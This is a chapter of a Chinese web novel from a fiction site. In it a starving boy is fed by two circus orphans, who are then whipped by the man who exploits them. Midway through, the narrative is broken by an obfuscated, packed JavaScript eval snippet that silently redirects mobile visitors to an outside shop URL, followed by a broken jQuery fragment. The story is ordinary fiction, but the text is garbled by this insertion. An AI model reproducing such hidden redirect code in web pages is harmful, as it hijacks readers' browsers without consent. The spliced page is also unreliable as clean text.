文趣网 > 其他小说 > 俯仰人间二十年 > 253. 第 253 章
    “饿坏了吧,这些给你吃。”

    他把那鼓鼓囊囊的包裹塞进了张砚的手中,而另一旁的女子也像是计算好了一样,她默契的从一旁的茶碗里倒了一碗水跟着放在了张砚一旁的泥地上。

    食物和水都准备好了,只剩下自己了。

    可起初张砚并不想接受这怀中的食物,他与郭幼帧流浪的太久了,久到只要看到人心便第一反应认为这些人并不会是善心的人。

    因此她们会时时刻刻地警惕着莫名的食物给予,就算是乞讨得来的东西,也会在验过毒之后才敢吃下去。

    因为她们曾有一次真的看到过一个同他们一样居住在破庙的乞丐,就是因为吃了有毒的食物而口吐白沫当场死亡,而那东西不管怎么看都只是一个普通的饺子。

    可包裹里那没有任何香味的窝窝头实在是太香了,黑黑的颜色做成了像是圆锥塔一样的物品,就算是不去看它,张砚都能感受到自己口中的口水残留。

    可他不能吃,不能吃,他不停的抵抗着生理性的冲动。

    他看着眼前男子和女子有些疑惑的目光,口中想要拒绝的话还未出口,手上的动作却更加诚实的先它一步。

    他用脏兮兮的手抓起了那个黑面做成的窝窝头狼吞虎咽的啃进了口里去,因为太饿了,中途甚至有好几次他都被这窝窝头噎的有些翻白眼,女子倒着的水推动着噎住的部分下了肚,张砚依旧不管不顾的撕扯着手中的食物。

    而终于在他吃了三个窝窝头之后,他才觉得自己算彻底的活了过来。

    望着张砚的这般模样,男子和女子彼此对视了一眼笑了笑。

    那男子似乎是有些蹲的累了,他一下子就放下了自己离地只有几寸的屁股,不拘小节的盘腿坐在了张砚的面前,开始笑着说道:

    “我叫思奴,她叫颜娘,是我的姐姐,我们都是大成马戏团的。”

    他饶有兴趣的看了他一眼又接着问道:“你是谁,怎么会晕倒在外面?”

    思奴似乎是个自来熟,他说话如同竹筒倒豆子一样叭叭叭的说起来没完。

    可张砚在吃完了饭之后听到他的询问,刚才上头的精神瞬间又冷静了下来。

    他看着两人,心中的警惕心不变,只是随意开口敷衍:

    “我是来投奔亲戚的,路上的时候盘缠用光了,也没有找到亲戚,没有钱,所以这才晕倒在了你们的门口。”

    现在的他说瞎话的本事张口就来,心中甚至没有一丝愧疚。

    “真是多谢二位搭救了。”他点头,算是致意。

    “若是以后有机会的话,我们相遇,我定当会报答二位这一饭之恩的。”

    “嗨,这有什么报不报答的,就是吃个饭而已。”思奴听到他这样说,随口反驳,声音爽朗。

    而颜娘也在一旁迎合:“是啊,只不过是一顿饭而已,它能救了一人的性命,那就说明它有价值。”

    她嘿嘿笑了一声,如同思奴一样洒脱。

    可是张砚仍然还想要再说些什么,只是他的话音还没出口,那门口却先有人声传了出来:“颜娘,思奴,你们两个该死的小杂种跑哪里去了?”

    听到这个声音的瞬间,原本还在笑呵呵的两个人立刻就变了脸色。

    她们惊慌失措的从地上急匆匆地爬起来,着急忙慌的往外看去,似乎是能够从这关闭着的门窗看到外面那让人可怕的光景。

    颜娘立刻转过头来对着张砚焦急的说道:“你先在这里躲一躲,我们去去就来。”说罢她便立刻拉着思奴几乎是小跑般的离开了柴房之中。

    而房门被带上的瞬间,房中又陷入到了安静。

    但很可惜,这柴房的房门并不是什么很好的材料制成的,它不仅破烂甚至还有些不隔音,断断续续的,门外几个人说话的动静总能通过缝隙传到张砚的耳朵里。

    张砚知道那一定是刚才喊了颜娘和思奴的人在同他们说话,他原本并不想听的,但或许是跟在郭幼帧身边久了,染上了她爱看热闹的习性,他总感觉这断断续续的声音在勾着他的心神,让他好奇地不停探头张望。

    最后他一咬牙,小心翼翼地往前挪了两步,挪到了窗户底下,极其小心的掀开了那遮掩的竹窗看到了外面的景象。

    “你们两个说,这几天赚的钱够谁吃的?那个大黑豹子一天要吃几十斤的肉,你们赚的这点钱甚至都不够她塞牙缝的,再这么耗下去,别说买大车了,咱们连下个月的口粮都得搭进去!”

    他有些恨铁不成钢地望着颜娘,声音里满是狠绝:

    “颜娘,你真是白长了这么一双眼睛,你说你这双眼睛平日里看到人跟他们说点好话,要钱跟喝水一样,你怎么就不知道动动你那个脑子,有了这个,我们还用养豹子干嘛,这钱不天天都是像河一样往咱家流吗?”

    可谁知他话说完,思奴又立刻反驳:

    “爹,小黑可不能被放出啊,它是我养大的,从小跟着咱们吃咱们喝,跟平日里那些山林的豹子可不一样,它要是被放出去一定会被其他人给打死的。”

    思奴的声音带着无能为力的求情,张砚听到后,甚至都能感受到了他语气中的哽咽。

    是父、女、子三人,张砚心里想,但他总觉得哪里有些怪怪的。

    但来不及等他详细分析,紧接着,他就听到了重物落地的声音,以及鞭子的抽打声。

    “啪!”

    鞭子声传来,晃了张砚一个颤抖。

    “我好吃好喝的共着你们两个,你现在居然会为了一个畜生来跟我顶嘴。”

    这话说完鞭子抽打的声音更大了,他像是发了疯一样,雨点般落下,甚至每一鞭都带着呼啸的风声。

    颜娘见着眼前的光景,立刻冲到了思奴的身上,她一边哭着一边替思奴去遮挡那凌厉的伤害:“爹,别打了,别再打了!”她的声音哽咽,有好几声都因为鞭子的疼痛而差点咽进口中。

    可拿着鞭子的主人却没有丝毫的怜惜,他手中挥动的动作仍没有停,直到又抽打了好几下之后才因为有些力竭的缘故停了下来。

    他紧喘了几口粗气,红着眼望着地上伤痕累累的两人说道:“我不管,今天这头黑豹子必须要死,老子已经没有那么多的钱用来供它了,还有你……”

    他收起鞭子将它指向颜娘,狠狠的说道:“明天,你去镇里的钱庄去给我把钱弄回来,要是弄不回来的话,小心你的皮!”

    说着,那已经收好的鞭子又再次的展开冲着两人的身上啪啪抽了两鞭,两人原本就皮开肉绽的身躯又再一次的伤上加伤。

    张砚在一旁偷眼看着眼前的场景,不满的皱起了眉头。

    他想虎毒还不食子呢,怎么这人打起自己的儿女来能这样的毫不手软。

    他看着汉子那近乎癫狂的样子,心中涌起了一股难以言喻的寒意。

    然而就在他思虑之时,他又看见了那个男的拖着两个人往这柴房走了过来。

    他像是拖死狗一样,将两人硬生生地在地上拖出了两道深深的痕迹,可即使是这样,两个人都紧紧的咬着牙,强忍着疼痛没有发出一声的求饶。

    看着已到门前的三人,张砚来不及思考,一下子就钻进了柴房的茅草堆之中。

    伴随着两声重物落地,房门被关了起来。

    门外有声音传来,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628552|202111||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    张砚听的仔细:“你们两个今天没有饭吃,什么时候老实了,什么时候再放出来。”紧接着,门口便传来了落锁的声音。

    人渐渐走远了,直到门口彻底没有了声响,张砚才从那一堆的茅草中钻了出来,他透着小窗仔细往外看去,那男子早就不见了踪迹。

    见着人走了,他这才小心翼翼地往一身伤痕的两人面前凑趣:“你们没事吧?”

    他关心的询问。

    但这样的鞭打对于两人来说似乎是已经家常便饭了,思奴和颜娘只是无所谓的摇了摇头,纷纷查看起彼此身上的伤来。

    “那是你们的爹吗?怎么打你们竟然打的这么狠?!”他本不愿询问别人家的家事的,但看到如此伤痕累累的两个人,他还是忍不住问出了口。

    可谁知下一秒思奴便怒气冲冲地说道:“他才不是我们的爹,我们两个人本来是两个孤儿,他怕其他人以为他是拐卖儿童的人贩子,所以这才让我们叫他一声爹。”

    他一边愤恨的说着,一边查看着颜娘身上的伤口,但好在那人或许是怕真的打坏了他们挣不到钱财,所以并没有下劲太狠,两人的身上均是皮肉之伤,可就算如此,也已经让他们苦不堪言。

    “那你们……”

    他还想要问些什么,可不知颜娘是有查人心神的能力还是什么别的其他,还未等他将话讲完,她便立刻回复了他:

    “我与思奴与旁人不同,他从小便与许多动物亲近许多,很多动物,就算是猛兽在他的手中都如同家禽一般乖乖听话,而我……”

    她顿了一顿,似乎是在踌躇是不是应该将之后的话说出:“而我的这双眼睛则可以控制人心,那个人……”

    颜娘口中的爹变成了那个人的代称,张砚已经确切感受到了两人对那人心中的不满。

    “那个人知道我们两个人的秘密之后,便三番五次的想要让他们给他赚钱,赚大钱。”

    “团中养着的小黑此前是他趁着小黑的母亲外出觅食之时从那一窝里面偷出来的,偷来之后便让思奴慢慢养着,养到了现在这般大,起初思奴是并不愿意的,动物本就有动物应该生活和栖息的地方,如果为了赚钱把他们圈禁那他们该有多痛苦啊。”

    “但我们也没有办法,”颜娘痛苦的声音传来,随着泪也一起降落。

    “如果我们不从那个人就会一直拿鞭子打我们,我们两个也尝试过逃跑,可天高海阔的,根本就没有能够收留我们两个的地方……”她说到这里之时已然泣不成声。

    “或许是因为有了小黑的加入,所以我们的马戏团表演拿到的钱要比其他马戏团赚到的钱更多。”

    “再加上他经常让我用这双眼睛去迷惑别人,所以那个人也算是丰衣足食了一段时间。”

    “可这些都是遭报应的勾当啊,在昧着良心做了几次之后,我和思奴终于受不了内心的谴责,开始抵抗了起来。”

    她的声音开始渐渐麻木了起来,带着一种看透人世的无可奈何。

    “但那个人吃喝嫖赌样样都要花钱,我们不从,他便逼着我们去,就算是这样,这些赚来的钱财都不够他花的。”

    “直到来到了这座小镇……”颜娘的嗓音哽咽,已经彻底的说不下去了。

    思奴见颜娘如此,轻声安慰了她一下,接口说道:“我们来到了这个小镇,原本是想在这里多赚点钱的,可谁知竟然遇上了瘟疫,而小黑的开销又大,每天都要吃四十斤的生肉。”

    “原本就不多的钱财因为买肉的缘故开始见了底,而他吃喝嫖赌的钱也没了半分,然后他又要让我们去抢。”

    话音落下,两人再久久没有说话。